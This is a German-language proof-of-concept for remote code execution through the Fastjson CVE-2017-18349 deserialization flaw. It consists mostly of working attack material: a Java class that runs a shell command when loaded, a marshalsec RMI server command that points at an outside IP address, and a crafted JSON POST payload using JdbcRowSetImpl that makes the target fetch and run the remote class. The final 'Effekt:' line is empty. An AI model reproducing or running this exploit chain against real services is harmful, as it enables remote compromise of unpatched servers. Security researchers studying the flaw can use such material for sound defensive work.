
Proof-of-Concept-Exploit für die Fastjson-CVE-2017-18349-Deserialisierungsschwachstelle, der Remote-Code-Ausführung über manipulierte JSON-Payloads und einen RMI-Server demonstriert.
Nachdem das Projekt als Maven-Projekt eingerichtet wurde, führen Sie Folgendes aus (Hinweis: Die Verwendung einer neueren JDK-Version kann fehlschlagen; es wird empfohlen, JDK Version 1.8.65 zu verwenden): Die main-Funktion von FastjsondemoApplication.java ist ausreichend. Datei TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/flag_test"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
Anschließend mit javac (Version 8) in eine class-Datei kompilieren
javac TouchFile.java
Python-Webserver starten
python -m SimpleHTTPServer 80
RMIServer mit marshalsec generieren
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://47.99.70.18/#TouchFile" 9999
Anfragepaket modifizieren
POST / HTTP/1.1
Host: 127.0.0.1:8080
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://47.99.70.18:9999/TouchFile",
"autoCommit":true
}
}
Effekt: 